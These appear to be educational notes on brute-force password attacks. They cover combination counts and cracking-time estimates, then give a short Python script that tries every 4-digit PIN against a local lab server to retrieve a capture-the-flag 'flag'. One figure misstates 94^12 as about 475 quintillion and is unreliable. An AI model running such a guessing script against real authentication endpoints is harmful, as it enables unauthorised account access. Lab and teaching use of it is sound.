Brute Force Attacks
Understanding Brute Force Attacks:
Brute force attacks involve systematically trying all possible combinations to crack passwords.
The total number of combinations can be calculated using the formula:
Possible Combinations = Character Set Size^Password Length
Example Calculations:
6-character password (lowercase letters):
26^6 ≈ 300 million combinations.
8-character password (lowercase letters):
26^8 ≈ 200 billion combinations.
8-character password (lowercase + uppercase):
52^8 ≈ 53 trillion combinations.
12-character password (lowercase, uppercase, numbers, symbols):
94^12 ≈ 475 quintillion combinations.
Key Takeaways:
Increasing password length or complexity (adding character types) exponentially increases the search space, making brute-force attacks more difficult.
The attacker's computational power significantly affects the time required to crack a password. More powerful hardware can attempt more guesses per second.

Cracking Time Comparison:
Basic Computer (1 million passwords/second):
Cracking an 8-character alphanumeric password could take ~6.92 years.
Supercomputer (1 trillion passwords/second):
Even with this power, cracking a complex 12-character password could take ~15,000 years.
Practical Example: Cracking a 4-Digit PIN
A simple demonstration involves brute-forcing a 4-digit PIN (0000 to 9999) using a Python script.
The script sends requests to a server endpoint, checking each PIN until the correct one is found.
Python Script Overview:
pythonCopy Codeimport requests
ip = "127.0.0.1" # Target system IP
port = 1234 # Target system port
# Brute-force all 4-digit PINs
for pin in range(10000):
formatted_pin = f"{pin:04d}"
response = requests.get(f"http://{ip}:{port}/pin?pin={formatted_pin}")
if response.ok and 'flag' in response.json():
print(f"Correct PIN found: {formatted_pin}")
print(f"Flag: {response.json()['flag']}")
break
The script iterates through all possible PINs, checking responses to find the correct one and capture the associated flag.
Conclusion:
Brute force attacks highlight the importance of strong, complex passwords and the need for robust security measures to protect against such vulnerabilities.
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